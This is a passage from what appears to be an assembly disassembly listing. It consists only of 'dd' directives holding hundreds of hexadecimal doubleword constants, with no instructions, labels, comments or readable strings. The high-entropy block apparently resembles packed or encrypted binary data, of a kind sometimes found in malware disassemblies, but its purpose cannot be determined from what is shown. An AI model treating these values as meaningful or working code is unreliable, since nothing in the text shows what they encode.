9E725BEh, 233431D4h, 0C5E80077h, 0E6E7227Bh dd 0E8D24586h, 0C800C610h, 18044B68h, 29F28C87h, 14A81103h dd 70232C83h, 76C5ED00h, 86E71F22h, 15FCD045h, 0A04D04C6h dd 88E0E768h, 7C7B756Ch, 0C8286607h, 470E16Ah, 4366784h dd 2D3BAF49h, 7118C875h, 163F38A4h, 172213C6h, 0E44838h dd 0AB23C61Eh, 0CBB12522h, 51483200h, 0FBFF7441h, 60D492CCh dd 868931D8h, 661F9AB6h, 0FC0028B7h, 31F934B8h, 1F7C1A20h dd 2C4484C7h, 2C63720h, 49965F63h, 0F4B01498h, 0CCB16476h dd 58201F64h, 9D00FC5Fh, 0CF983A7Ah, 0ED5264h, 115E0687h dd 1534888Ch, 270C9F00h, 0E5260DC2h, 0A69C0313h, 174265C4h dd 0F54A1580h, 0BA299E60h, 3B6EDBAAh, 807B921h, 46BB5119h dd 0DD1F21B7h, 54C0DBA2h, 66F48D72h, 0F2373D89h, 7B0046C4h dd 704CD1B3h, 60819D31h, 0C49A1812h, 0F3FC2989h, 0F0CF641Fh dd 0FA5D7C41h, 2080823Eh, 0D06B3D15h, 8C02E333h, 95B7DB0Dh dd 0F585E055h, 1D61C0ABh, 4EC69931h, 14F81248h, 27F346C5h dd 3D015D22h, 200D60E5h, 59C09B77h, 0AF5F62BFh, 0BE590601h dd 8491E11h, 6021B66Fh, 2DCF5F5Bh, 0FE5A0B4h, 662C0092h dd 3E9C518Ch, 28C1082Ah, 7F80C606h, 0C24A9C43h, 848880DDh dd 9F75Dh, 0B77AD218h, 8E8855Ah, 0FF19B300h, 0C68F0F4Bh dd 1B50671h, 401A80AEh, 8C67812Ah, 8FDA7500h, 8D4BE34Ch dd 0EBFD03CBh, 11E7E0B1h, 7ED17F80h, 13506A18h, 30D59E31h dd 9368CA06h, 67F2BF5Eh, 28108228h, 0FAC87C1Eh, 0C62912CFh dd 60085A96h, 745C2163h, 390DA9C8h, 6681CA3Fh, 9603C0h dd 0B33620E7h, 1507EB97h, 800C4E49h, 2162DBAEh, 22BB4359h dd 0A6D900ADh, 966372DBh, 0A4707CC7h, 9530693Ch, 0B48C3Dh dd 0F5C5CE48h, 3C7A5692h, 2601DF1Ch, 8158749Fh, 86A1871Bh dd 0C40004CAh, 5C2C2Eh, 186441B8h, 276CF73Ah, 0CC4E0600h dd 7C3F15C7h, 0BB690021h, 0E998FA67h, 91C0AAF5h, 38C54C09h dd 0B55738E3h, 0ECFDFE00h, 0B6857F1Fh, 0ABF96401h, 7E78C69Fh dd 49238422h, 63DBAF04h, 4247580h, 8446D81h, 4202822Ah dd 607BC352h, 89B85Eh, 4D32099Dh, 1195FF06h, 0B0C0560h dd 812A1DB5h, 0C06AC1B0h, 361E852h, 0C35A2047h, 334C89C9h dd 3B1F8C15h, 0EF806646h, 70E60562h, 60857829h, 71E4582Ch dd 33C008E9h, 0E807F84Bh, 642B007Ah, 0A8F781ADh, 5B01B0AAh dd 830F613Ch, 2C83024Ch, 0EE5B52Bh, 0B632467Ch, 3050A0D8h dd 89E4C358h, 18224446h, 0C3504000h, 2C348606h, 0C1BA7649h dd 0A5B5091Bh, 8B5C8C0Dh, 8C535AC3h, 89E45B7Bh, 807D5C52h dd 8EC35343h, 0BF660008h, 0E8C16DB9h, 760E904h, 5E153C23h dd 6B6403D9h, 0E2F76647h, 0E556623h, 8944C35Dh, 201C626Ch dd 0B4C35545h, 19861500h, 4E9F1129h, 14E92299h, 20BF8807h dd 56D06947h, 0E8BAD45Eh, 0AB7E0E43h, 0A209CCEh, 0BF0F6E62h dd 8D01F106h, 0E6F62BADh, 0BD330CD8h, 0E9101F3Dh, 0DD550560h dd 24C2F707h, 740958B4h, 72001D46h, 10931FA3h, 350188B5h dd 8D094B2Eh, 3E4302EDh, 157E90Fh, 0D1EC36A1h, 1D851817h dd 0A815ECE6h, 914D0AC2h, 45C0B95Eh, 2214C38Bh, 0C183701Ch dd 11840F09h, 8DF85044h, 200B6025h, 0FD93B5Fh, 490E862Ah dd 5E1C5646h, 748988C3h, 464016C4h, 1A3EC356h, 851A89EAh dd 415A31E9h, 4E91D9D3h, 0C35F8757h, 477C8922h, 5747002Fh dd 66A5C1C3h, 8BF2BE0Eh dd 0C204ECF6h, 26B78AB5h, 1E9EBB83h, 2E8290F5h, 830F79Ah dd 0B10412Dh, 0C31B887Bh, 61F87730h, 76EA7293h, 210FE830h dd 47F3Bh, 0F77B6ADAh, 0ACF015D6h, 0F25F1409h, 0C71A811Ah dd 60E29416h, 0F23C2C1Fh, 885B6448h, 0C3596151h, 914C89C8h dd 5141C03Bh, 0DF00FFC3h, 0D6E94A85h, 3EC12607h, 8B1C2B5Ah dd 3DF784F0h, 0D009434h, 203D11F5h, 1E7AD33h, 17920EE9h dd 308D088Bh, 27C0243Bh, 112C750Dh, 14D85498h, 0F5800B9Dh dd 3D8518C7h, 4F990E0Ch, 9F3AC024h, 34144674h, 823A725Ah dd 0F7001823h, 793D40A9h, 0E1BD1881h, 7D09029h, 3685F9C4h dd 0C510FE54h, 51FF3E21h, 882C4E16h, 0B2E0C016h, 0B538231Dh dd 0B0486A91h, 6137FD1Dh, 5C32CAC8h, 29021446h, 9E42ADBEh dd 1D9161CEh, 0A4181AD1h, 51F5539h, 90643A98h, 1D23232Eh dd 80CE4700h, 9742D13h, 0F4377FA4h, 1911F51Dh, 51F27480h dd 4148A19Bh, 72F7008Bh, 0E9F850CEh, 0C72BC00Dh, 0FFD3E49Fh dd 57077D00h, 5E20280h, 165F486Eh, 38C16E8h, 177F89Bh dd 90FC919Dh, 15D5B56Dh, 0B82A0CD0h, 4F1C8C17h, 52811FE5h dd 2531B589h, 8A20B035h, 0A701926Dh, 6016448Bh, 4120319h dd 0E8F18B66h, 27504009h, 3992BC5h, 32138F96h, 1D0010E9h dd 72341CE7h, 3688662h, 11B8D620h, 45C82B78h, 0F0C45EF6h dd 0E9011BE1h, 0C4FFF79Ah, 0B12A9589h, 0C1538914h, 1C7700C2h dd 84C67EE4h, 5168006Dh, 0C1C92AD1h, 25DC04EBh, 14D19D29h dd 0FC4CED18h, 9F9223Bh, 735858Dh, 909CA62Fh, 0BF50012Bh dd 2884FD59h, 902404F0h, 0E2F61819h, 0BD037A16h, 26B51153h dd 0C64075E9h, 3937AAh, 14B4655Dh, 0B1220407h, 0B7C7C000h dd 0BD017B9Dh, 40265019h, 5107201Bh, 2F359512h, 1E151221h dd 5C08300h, 987DB6CAh, 10F9A3A8h, 13A8EB59h, 306CEF46h dd 514B3AADh, 0CDB8D200h, 314ABDF9h, 0F8570D0Fh, 63D35EF3h dd 3014A2C7h, 82520FC2h, 0FA8B0BC3h, 3943D6Ah, 202EC8A7h dd 44463FD8h, 3F484A6Ah, 4004F913h, 97CF1149h, 0A4C01588h dd 10895622h, 1D0AB99Dh, 13C48D5Fh, 92DE509Ah, 0BD098E80h dd 0BA9A2EE9h, 0F28BD309h, 15EF82F8h, 8F70A18h, 0E91D1639h dd 0E89488ECh, 815D819Bh, 0FC5425EDh, 4DC0679Bh, 5B2256FBh dd 8E0FF312h, 8DBF2C90h, 6842CD5h, 3686784Eh, 138B0140h dd 7B24859Dh, 51F70017h, 6E2CBFE6h, 81721C30h, 0DB5F35E3h dd 0E15D80F6h, 9456FE8Bh, 0B06C4795h, 5FF4A5BAh, 0B0DB0B2Ch dd 7A766D11h, 0E90DC988h, 7D48A10h, 78454400h, 0C3BD833Fh dd 11B5A305h, 50108430h, 0C10DEEE9h, 1572E917h, 41C9A120h dd 6366110h, 6B87D41Dh, 0F1671644h, 0FE0FA255h, 84B518Ah dd 0E90C1531h, 5811733h, 431E75E6h, 83F275Ch, 11A19769h dd 7042801Bh, 0A648A01h, 8D15D122h, 745066FCh, 8653FA07h dd 23715E4Ch, 9CCBFEFFh, 1D88BB8Eh, 1CFBE3C0h, 1F9EA08h dd 0BB2A5B1Bh, 408C66FCh, 0F6F1B7DDh, 7FB328FDh, 0F8F9878Ah dd 90618AF5h, 0A4AE23BDh, 0C681609Eh, 60501A5Fh, 0E9305185h dd 99BF330Ch, 0D64E3932h, 44E47201h, 365D0E40h, 0A2674277h dd 2582301Bh, 8021DA02h, 0E02C2FECh, 248F851Bh, 125141E2h dd 0A183D204h, 0B0584B50h, 8C19EC4Eh, 6CB9C500h, 8BE83AC4h dd 70E627FBh, 263F16B7h, 0E409CDEBh, 11591D71h, 27078019h dd 4F655792h, 230B3E26h, 0EC420B15h, 1B455D02h, 0C4960909h dd 0BA605810h, 770D6510h, 21950115h, 850906A4h, 710C0FC5h dd 0C38B2761h, 1B017190h, 4140302h, 78386059h, 0E0BC8D0Ch dd 2960B08Ah, 0A8D71A2Eh, 3F1C5D08h, 0E407540h, 2E2F9E5Fh dd 0E700DC86h, 1C5BD5A1h, 4B2B6668h, 2E5B6ED8h, 7B004D92h dd 894FCC0Dh, 1224491Ch, 51296BCh, 49DFB5FFh, 758F2882h dd 2303DD41h, 0BAFE25E6h, 0C470651Fh, 606C6114h, 0AF8C2F5h dd 0B325DFAh, 34516116h, 247CE20Dh, 0BE01BC5Eh, 40547F7Eh dd 488B9E20h, 0B04D81F1h, 7404D2BCh, 64B98D33h, 0D2F35CC2h dd 670A459Dh, 9529A1A0h, 8B6F1C6Ah, 0DD18890Fh, 0E0243F13h dd 519FB907h, 5FFA12FDh, 0C9669933h, 8F38CA4Ah, 8581B516h dd 5180552Ch, 16BD011Fh, 60029330h, 0F8F14805h, 873A5861h dd 85001623h, 10BF2C65h, 3D632D9Eh, 8F842E25h, 0C01AC8F7h dd 3B5D1F0Dh, 0DCCB8802h, 0EA59B52Bh, 253179ACh, 3600D1B7h dd 0AC908B13h, 3AC15B83h, 1A23BAh, 1F73F78Eh, 34CFAA3h dd 10511049h, 465484Fh, 0FD1164A4h, 6F47124Fh, 0E057346h dd 3E97668Ch, 317D8804h, 0A74DC813h, 0BB6088h, 5946F5BFh dd 0DA3BBE66h, 34CB9398h, 4B9C1426h, 0F7AF40E8h, 0BF11496Dh dd 0A7EE3300h, 1B5E87B0h, 0CE8107A6h, 7FAF550Ah, 0CF815B29h dd 3227098Dh, 52611DDDh, 115EA32h, 36C32B5Fh, 465AF040h dd 55BD2509h, 21AD7990h, 11227B82h, 2E52262Eh, 48E95E86h dd 64EC8712h, 0FC096019h, 0CD6A199Ch, 0C9F75423h, 0F0ED36C0h dd 0BE73C54h, 0FC9674C7h, 0BD205B46h, 5FE5B022h, 0F50C0181h dd 2331E0E5h, 331BA298h, 396217D8h, 28DA1200h, 3D9589ADh dd 0AA0AA03h, 0CEB417CCh, 9EE0EFF6h, 5801CAACh, 0DAE867AEh dd 72684416h, 3B4843F3h, 8C1AE829h, 0D5DC640Eh, 0E8171FA8h dd 283CE430h, 56B900AFh, 91D4CB80h, 7048BB4Eh, 0AA831672h dd 1623A38Ch, 9D306DBDh, 0D541FE7Fh, 64D1F20Ch, 64F94549h dd 0FC7C611Ch, 50CA8F4h, 388473AEh, 23252E90h, 0D7893D17h dd 236DE4D8h, 184C21C0h, 9D8912FCh, 8BEC4039h, 0A58D29F3h dd 0F8E33058h, 90028C18h, 4BB70585h, 2279F9h, 0E8AB704Ch dd 3400B0FEh, 0FD36A026h, 0A7D4688Ah, 601D4480h, 0FD6642h dd 2DF9DDFAh, 53B630F2h, 3D9D010Ch, 0B45EC020h, 52C3402Dh dd 301C2F4h, 4E67242Dh, 22C834B1h, 717B24DCh, 84091579h dd 75FFBF07h, 0D681701Eh, 21268739h, 46740F45h, 82C001Bh dd 0F2633E73h, 0FFCB5856h, 156EC475h, 0E0600E21h, 0B065B5D0h dd 1611C94h, 0EC16A95h, 0FFF808E9h, 2B213238h, 2E334382h dd 274BC144h, 437364BAh, 9DFE8152h, 0FB5E02CDh, 6E7F85C3h dd 0BD29CAB0h, 380F0D2Dh, 7DB50989h, 939081D5h, 0C25D50BAh dd 4674FBE4h, 0C8C72E1Ch, 36344000h, 48F07919h, 0FD9DFDE8h dd 0A01428h, 512E1B66h, 0E835253Fh, 1A80AEB4h, 0FA90E9ECh dd 44A70EF2h, 0F040A6E5h, 1181F75Ch, 0BD1003F4h, 5E052945h dd 0F4E9605Fh, 9D076B94h, 0F98C3707h, 80EFD5E4h, 9141DEEFh dd 0F6F341E3h, 37D8AF61h, 43211CD1h, 0B806503Dh, 9818F6B2h dd 140E00D9h, 0E474EDE1h, 0A2054556h, 0A5D88EB7h, 0A6D8381h dd 0E2E95F01h, 0F4547780h, 0CF05E29Ch, 6A177FC4h, 0A41B9AF4h dd 7611E6D6h, 7894BB51h, 6916E27Eh, 33D1FFACh, 5F80C1B5h dd 97DE8166h, 0BF0450AEh, 54A09682h, 2F56A7E0h, 8A0AF08Bh dd 89951713h, 0A9A29368h, 0E3F3DE84h, 60BE334Fh, 4AE25E0Eh dd 68E8C915h, 0EC57ECh, 8F43DDB4h, 0F5AA066h, 0E1D816Eh dd 0D3FF2461h, 5CE056B6h, 0BF05B7D3h, 6A07EF4h, 0D643D9A3h dd 0B33A1100h, 0D2E5F8C9h, 0AFA4E400h, 9661B145h, 208DBC67h dd 7702DD3h, 1055EB16h, 4CE7D8C8h, 7EC8C016h, 0D22C58Fh dd 0BDC80ECh, 9D8BF902h, 1016FA95h, 4F3265BDh, 84F4AF34h dd 8D98AA8h, 0B05E9A00h, 0CFB6E4D4h, 7BB00D3Eh, 272D8377h dd 3085110Fh, 9A4CC014h dd 6D09B849h, 91559D29h, 7C69AA66h, 2B1790ECh, 8110F8BAh dd 1B012E3Dh, 1B467Eh, 0B25E8C46h, 48447F7Bh, 0FF0BDB7Dh dd 0BEF56E9h, 0E9C10E64h, 1A74B995h, 0E159A461h, 23063E2Eh dd 0C1F7001Ah, 76B120B9h, 0B5894404h, 88941779h, 0BCF3F434h dd 94858912h, 579CF0B1h, 4F30BEh, 0CAA931FCh, 708B0033h dd 1DFFB350h, 0C10B46E2h, 425EDA7Ah, 51F132B1h, 5A5AC06h dd 85025EAh, 968014C0h, 0BD33015h, 0C8840003h, 0FDD03165h dd 0F21F5D34h, 0F0025780h, 62FB8B2Ah, 58BF2ADh, 0E93782BEh dd 9B8C53A4h, 4AFE8C6Ch, 29570676h, 0AB040595h, 0E4EF8104h dd 5980B074h, 4AE6F0BFh, 9F6E70h, 0B3AE4CAFh, 40C5E5FDh dd 0F9A911E1h, 212874E4h, 85643AF1h, 198804CBh, 7EF06FC7h dd 2796FED6h, 8744880Fh, 30499D10h, 81E9304Bh, 0F120BC6h dd 2C9BC38Bh, 72D56E81h, 69033CD9h, 0F8A8134Ah, 96558D89h dd 0C65E1345h, 0D527EA11h, 11A926h, 4667BE56h, 2B849D16h dd 60930027h, 0C002820Fh, 66D1B64Fh, 41940BAh, 8C1E5061h dd 0B4D7DF09h, 0E108E693h, 0E2281F4Fh, 5E9C78DBh, 9B178D52h dd 0EECCE874h, 2CBE0145h, 729D8C1Bh, 0E1DDC811h, 0F7955409h dd 8B1F2240h, 0B955800Dh, 48F087F2h, 6910B72Eh, 85612E23h dd 0A020711Ch, 9D8F0F35h, 599D6718h, 2E3C2345h, 58C18ECh dd 26B4BFFCh, 69C50420h, 0F6810011h, 5A8E249Eh, 0F936456Ah dd 0F756F401h, 4D731124h, 82A120A9h, 28B88780h, 10981Bh dd 0CB52CC0h, 34A1E425h, 292F21E5h, 169B8D5h, 13018B62h dd 7450FADCh, 6C12A10Bh, 3A575F47h, 7500416Eh, 0A1B72BCBh dd 3520B529h, 0DB52AA2Ah, 0F24F7138h, 0AE86940h, 0A33019C0h dd 7CF80455h, 1FDD1396h, 5824D26Dh, 21EDC082h, 3F659876h dd 10B16AA7h, 6692F04Eh, 81CE8D00h, 7ADBEBDFh, 4A9E863Bh dd 0BCEE023Fh, 0D21772E6h, 7D016928h, 0FC046CDh, 164E0BD0h dd 4B68E4Dh, 0B4200D36h, 0DDA0C159h, 0A016E516h, 5486612Fh dd 1FA92D26h, 0A5953331h, 0C2BD4D59h, 5F42A8C7h, 0BD04E7F1h dd 0BE2832B5h, 0AA49D404h, 1BCE5B48h, 0C6C01788h, 1E1B964Dh dd 2C2BF88Bh, 94DF0923h, 7D1C2B64h, 0FB4EEC6Fh, 0C4AFC097h dd 9C80E25Fh, 36044034h, 0A00E51A9h, 20826A2Bh, 0E0DD6BAAh dd 5AA8F86Fh, 748625Fh, 0E9F98B20h, 0C007A128h, 1888624Bh dd 0B607E6C0h, 0BE385C69h, 0CD0E4E74h, 116E2F80h, 0B1EE9504h dd 0D559C554h, 0F46A8520h, 8F12FBFCh, 723A125Ch, 80001D23h dd 0C6CC9D0Eh, 6F6C0B4Ah, 31645A85h, 0CA2E7200h, 4F4BC92h dd 13A6F8B9h, 58949Dh, 3AA3CF71h, 8B165F17h, 5F92E5B5h dd 1ECF1C0h, 0D398761h, 0F23E6826h, 5E57222Ch, 9CEAAC76h dd 0C16465Ch, 9067908Ch, 0BC4D9225h, 1446D68Dh, 0B2EDA26h dd 43452E25h, 46B5ADh, 0D8026691h, 20EBB3A9h, 23407DDBh dd 0D5B79590h, 857A5A00h, 9B0F6E7h, 59AE92BCh, 4970C250h dd 59D18080h, 725845FAh, 0F8C30996h, 66004844h, 0E409C1E7h dd 0C44795h, 901C2337h, 0C6A86B17h, 8A0F9E14h, 0AAC94F1Fh dd 3862CAF0h, 150069AEh, 0C96785FAh, 0FC009744h, 0BD70EE92h dd 2E33B07Bh, 81CB61B5h, 0F05037BEh, 88F44E40h, 1DEBC01Ch dd 5173E7B6h, 0C10416B0h, 91B5BF66h, 2016EC82h, 7D958960h dd 6BB04D92h, 6D206090h, 0EC41EF18h, 0B050D19h, 0AFABADB0h dd 2380DE37h, 2B025906h, 0FF924B5h, 14467C63h, 0B5E9980Bh dd 91ED3E42h, 1A2F4AC0h, 2D880B5Dh, 8DC103CBh, 58F42C1h dd 6AAEBF20h, 53325A04h, 1587B63h, 5FA19171h, 0F8CDF539h dd 0C876C678h, 0B1A00670h, 381C5D2Dh, 18BE4Eh, 9047309Bh dd 243989BFh, 4B0384DFh, 0E43DB70Ch, 0C24E4FEDh, 821223B9h dd 810D099Fh, 5119B12Ah, 0F2B5273Bh, 422925FDh, 0B3C674h dd 4FEDCAABh, 84C3E5CBh, 353B0802h, 43835E7Fh, 2E039A76h dd 0A4F7B7C5h, 95322928h, 76FC7561h, 0D6D6E86Fh, 12DFD602h dd 7CA6B170h, 199D095Dh, 2F21B5E5h, 0D7181C71h, 0DB354F00h dd 0B0EDA56Dh, 2DE984Dh, 6F26C0B9h, 4CC7D3FFh, 78601C44h dd 0A702D3CCh, 0BDD6AF5Fh, 89C37971h, 96D995E9h, 0D154BBC5h dd 328E13D8h, 1322A9CFh, 0D7816600h, 9D8BB9A9h, 4D172BD1h dd 0DFC8D086h, 8CF5D400h, 958F48B7h, 4F857329h, 0B3CB7511h dd 0D1484E12h, 36509978h, 835F1041h, 188A27BDh, 3D2FC791h dd 4C2ECB6h, 0BD03AC91h, 0E8339499h, 4598986Bh, 2003B92Dh dd 0A4C69C3Ch, 0C409DE5Dh, 48F7E3Fh, 0E9467998h, 34842538h dd 0FAF81393h, 12827206h, 89D955Ah, 0F98001B1h, 47F8EBBEh dd 0F48D5342h, 6533A648h, 0A9B12993h, 0D6B33D2Ch, 0AF85DF13h dd 6638C06Fh, 4A2A6801h, 6A2215B8h, 1DD3101Eh, 8867BFC8h dd 0ED258D29h, 0ED803A21h, 7E1C018h, 0D64F1DCBh, 812F34h dd 0E9873011h, 0F0EBD7EFh, 0BE665079h, 65AE2726h, 0C3994DA5h dd 11904330h, 0E912D920h, 0FCE0490h, 0D5C017C8h, 70BD588Fh dd 70E626B0h, 0E13DE25h, 0DF01A7E1h, 57BC6330h, 31F94D70h dd 10F271E4h, 0D3096A89h, 5BE9E418h, 832C753h, 9FADC225h dd 80189182h, 267497ECh, 0A58B7760h, 631BC465h, 0F67C0A5h dd 0FC38022Dh, 398D893Dh, 7840174Ah, 0B39C687Eh, 0C4A5ED25h dd 4ADA2DCh, 7177F341h, 0DF44C0EFh, 0B89C1FE5h, 96B72Fh dd 0C0308C60h, 8A27C60Ch, 2BAD0303h, 0F10A32D8h, 4248F206h dd 89228ADBh, 0D46A941Ch, 0A0A75E0Ch, 0A0F954A1h, 0BAE58DB9h dd 61FC0099h, 7483E781h, 0E094471Ah, 2530BE60h, 75454AA4h dd 88EBDAC3h, 17C10878h, 13DA0F1Dh, 409C5421h, 5DC7485h dd 0B156B800h, 0C0DF142Ch, 66902725h, 28400FEFh, 0E4D60C30h dd 95311ABCh, 0A18A85E9h, 0F86D257Ah, 31E7D6C0h, 495C0222h dd 172CFAE2h, 803E0AF1h, 0DF109D4Ah, 9F95ACh, 0E5FC40E2h dd 68AA81EEh, 0A0C0F416h, 2906AE82h, 43007A4h, 0C0C1605Eh dd 0D869158Dh, 810A839Eh, 32D0CEAEh, 2B01047Eh, 65B8BABEh dd 206F61E1h, 47F13807h, 537F2000h, 0EE04D3DBh, 0A8732DF2h dd 2499222h, 1AC4E147h, 1316E360h, 0C4A46B09h, 1F0BE4B2h dd 28681Eh, 6CB88BDBh, 0CC024CB5h, 0C17817E7h, 232869B4h dd 0B632BD70h, 2BE1C9EAh, 0C81041Fh, 1BB88A0Fh, 9340E549h dd 0AA439AC5h, 700B5BC0h, 76E64F55h, 0AADE9612h, 26E6BC17h dd 9AFF3AE0h, 6547C01h, 37877FB4h, 158716Bh, 50810413h dd 607F3121h, 1BD96F68h, 0D9667B21h, 90CC1814h, 60F03AEDh dd 0F9DCB905h, 0BC62FD61h, 10138C1Dh, 0AEB3A509h, 20D23F28h dd 297626D9h, 0D5849D4Bh, 11211AC1h, 2E43293Eh, 0A300786Ah dd 9F1E6884h, 4D13E5F5h, 14307433h, 1B9203h, 3C5073BAh dd 0F1498DC3h, 968F063Eh, 41DBC183h, 0F475BED0h, 31F92489h dd 0FED0835h, 1C590C31h, 0F561353Eh, 16E6EF1h, 0B2584E0Bh dd 57352562h, 35BEAC80h, 5BE98A84h, 3E412216h, 1A818229h dd 629CECD2h, 39B556F9h, 3BFD270h, 0C431BD40h, 19A220F8h dd 0F9958920h, 445C9228h, 25B0602Eh, 3EDA48h, 0EBB61C6h dd 0ED4B227Ch, 6E7BC0F1h, 47CC0BFBh, 0E8E24715h, 667E6022h dd 854AC7A1h, 234713D7h, 4DB5695h, 79D022CDh, 67B802h dd 0E9A0DF34h, 0B52B390Ch, 4F01C14Dh, 9347D13Ch, 4EC1F02Ch dd 3AFCEB2Dh, 8E5D1FEEh, 9A411B74h, 69E16E63h, 8C1BACECh dd 0A154DD1Fh, 87342F42h dd 0B02AECD2h, 90F92579h, 85C015CDh, 0B4C14EBh, 0E938B29Dh dd 3B8A2D90h, 4787CF07h, 0DA006866h, 125843Eh, 0F23F282Ch dd 7AE4163Ah, 0FA507F20h, 399F00B2h, 2DEE81B5h, 7C4DC997h dd 3BF4BD9Eh, 6EEC00D1h, 0FE4DBEF4h, 20BDE843h, 0D677D2BAh dd 7810095h, 90C7532Bh, 0B7975F28h, 4AEE05D1h, 0A028584h dd 81AB71E7h, 2B78E3BEh, 12086A2Ah, 1666170Fh, 60160EF8h dd 2A52CBA1h, 0FE7830ECh, 0F33F20B0h, 0E8BD4892h, 0E33E8C15h dd 7509F2EFh, 0ED5B9EBFh, 0D3E2E076h, 8903C5FDh, 0F304A12h dd 0B025AE8Fh, 290C449Ah, 13718510h, 0E95E462h, 23722409h dd 77EE7E5h, 0C533F99Dh, 2406FCB9h, 46748C60h, 0A427001Dh dd 59FAE40h, 36F102D9h, 2DBD019Ch, 80049858h, 0B9F821DEh dd 8BC898E1h, 1ABD3795h, 98DD11Eh, 5D594103h, 0E90C4122h dd 0BAB0012Dh, 7A294BFBh, 0A0037D77h, 29EF1784h, 68A8948Dh dd 5305C85Bh, 88F68F01h, 0E2820ABCh, 0D085273Ah, 0D7852A65h dd 1EC07C4Bh, 77E1835Bh, 0D22DF601h, 80469B27h, 63E8D690h dd 858B1750h, 5B1E4031h, 17659D29h, 861A8CAAh, 0DAE0094Dh dd 1738A96h, 6021EB20h, 8985B531h, 5AE9576Dh, 0ED870072h dd 8D2CF88Ah, 0C30A23ACh, 776159EAh, 572B249Ah, 1200EEB7h dd 0E27DD0B1h, 0F78A0C57h, 9D8E615Bh, 0ED150130h, 8226F195h dd 0B8661998h, 0B4FCA24h, 6F17D109h, 0B28F44BCh, 0F6DF001Eh dd 0D3560A58h, 59010011h, 8712B43Bh, 6CD2B910h, 800511B9h dd 5D8B0EE8h, 8BC2943Fh, 1BDB22C9h, 2D89BFD8h, 60CA459Dh dd 14373C2Ah, 652A8AD3h, 283A89D7h, 0DFEDF369h, 0BA661AD8h dd 69B2E82Eh, 963451Ah, 0C0E4EDC9h, 4D8AB014h, 128D0F25h dd 3F161F8h, 5A64E802h, 7B20A300h, 0FABD69F5h, 880009Dh dd 53E9C147h, 40F8EE1Dh, 0CD950108h, 355E1222h, 0B46F06h dd 0FA7FB11Bh, 0A010CB80h, 0BE3281EEh, 19467692h, 8D6F001h dd 0A502C9CDh, 6688484Eh, 93D728BBh, 373182E3h, 0E01F80D1h dd 840FF551h, 0BA818E96h, 4F7A5BABh, 6220423h, 1DBD3313h dd 97E6B5Ah, 0C0676D49h, 80B471A9h, 0A3AAF92Ch, 30259D04h dd 912E419Ch, 181AF97Bh, 0BD3A2563h, 0F243F5Ah, 85611A89h dd 4722268Dh, 3E009871h, 35FCF9B6h, 311B315Dh, 2DE8600Ah dd 7B640087h, 717DD939h, 797520h, 0B3FB583Dh, 0E7F68038h dd 61F55F14h, 39521DBh, 5DA1CA81h, 62351627h, 0E0886D5Bh dd 0CB9D87C5h, 201C9303h, 13CDE2FAh, 11F6EE60h, 0B64B3BF3h dd 1F8EE05Bh, 0AF6FCD4h, 45727803h, 420C64C9h, 64A9BD89h dd 0A19D2728h, 8A6F22A8h, 2F188C0Fh, 91299E6h, 0BC52658Dh dd 9E76713Dh, 0E3AACAA0h, 21366C0Ah, 7E23EA44h, 122DDD58h dd 0DD85C70Eh, 5B6E6A15h, 858BF64Ch, 5126DE1h, 1AA11081h dd 49766102h, 703A04DCh, 0A21C8A29h, 1DE407A8h, 20840809h dd 9DD00987h, 7507EB14h, 6F7DEF61h, 0E140E64Bh, 9D20D5CAh dd 2B0E40CDh, 0DAE59D24h, 0C0EC6DA5h, 485C930Bh, 0FE62BA00h dd 0BED42B8Ah, 43150046h, 0AC06BB0Dh, 8B186407h, 0E38BAC1h dd 0EA8137F0h, 0C2836147h, 0C92F6014h, 0FFE72141h, 104F8199h dd 50E45128h, 35FF2264h, 2589DCE1h, 0E0D80ED7h, 0C22B3258h dd 0AE8F01Ah, 4D243881h, 1211505Ah, 50B70176h, 81D0033Ch dd 9745D93Ah, 73258419h, 0CFF0D984h, 4AD94AE9h, 89FC84Ah dd 3062A11h, 0EF4F3C40h, 3215C288h, 647D8B1Eh, 5464112h dd 1CC35BF8h, 1BD1030Ch, 4D2F3120h, 0B2CA08DAh, 8F64C821h dd 836D4005h, 0D49604C4h, 408B5142h, 2881105Bh, 0C014B0A9h dd 0C03359B5h, 0BD2A83C3h, 0E1C8ABA5h, 85C68424h, 47A0D0E5h dd 0A701D268h, 0B5FFD49Ah, 462E0B29h, 0DE75D757h, 1190D0F8h dd 308208D0h, 0D38BB9D5h, 9BA6E8h, 0C163A3D6h, 113154EDh dd 0F5B370Ah, 81025088h, 0A269BEC3h, 8B68FA85h, 58B5610Dh dd 0C00314ECh, 98F2810Ch, 260A8C43h, 1504800Fh, 0FE35B900h dd 78A5C281h, 246FFBA4h, 0DC40BB65h, 0BD0F77D1h, 2A48C030h dd 0F8367A22h, 0A5608968h, 0A1780069h, 0D30B83h, 8AB30DF4h dd 400E4DCEh, 216A6800h, 0E8830F30h, 0BF660702h, 1048572Bh dd 9A3FBE60h, 6113FF01h, 96D4F881h, 3682C4DFh, 511A4A99h dd 13C10011h, 9EF7D39Ch, 3D5FF900h, 6E1EDABDh, 34D7A11h dd 479FE7DDh, 14A13E85h, 0D636F81Dh, 4C455401h, 5BBD112Bh dd 21D70898h, 0D6004EFFh, 74F17968h, 4BFCE35h, 0ECBEB60Ch dd 99AA83CDh, 1EC52298h, 3E0EA100h, 0F21D0D5Ch, 4C473970h dd 0F5ACD806h, 660050C2h, 5A282541h, 811C3Ch, 0D42B302h dd 4F370EA8h, 88B89C0Ch, 989F2014h, 4E8E1465h, 11E120AFh dd 1E6418B2h, 98172675h, 7F3EC166h, 98DC401Ch, 0C2F17001h dd 88C4818h, 54201773h, 0AEDC7807h, 0E250811Eh, 86CFA8h dd 9A9C4860h, 1F507A34h, 0D4069507h, 0FFC23E03h, 0FDA0A71Ch dd 664DDEC0h, 0B7B0C8Ah, 108819Eh, 8D5E21C0h, 3018D2DEh dd 82918E4Ah, 21CD1991h, 0BBF0D986h, 6B0A03E5h, 8541D8AFh dd 180A878Bh, 0D8459FE0h, 56D630C1h, 0E5CE9h, 0C6D648FDh dd 0ADA05E7h, 0C7B80CB0h, 2429089Ch, 18FC3F06h, 4F610051h dd 0F539434Bh, 0E000E25Ch, 0B70E19F2h, 149DBF6Fh, 8063AD6Ah dd 0E2A7DD06h, 0FD503810h, 0A9008870h, 5F9D9A44h, 34A487h dd 99F6EF61h, 0B4C63F37h, 5428A918h, 802B0580h, 0FE7F9106h dd 74901490h, 45B89B61h, 4F30E915h, 2A7E7899h, 12D0A78Fh dd 54349Fh, 22499CB8h, 5166959Bh, 210F08h, 0E07F4C57h dd 2ECBFA08h, 16013A01h, 21665907h, 0B91C6883h, 801B03A4h dd 23C98EA7h, 57018C68h, 219C327Fh, 4A883A18h, 6A7F004Fh dd 0BABD142Ah, 5E1D9285h, 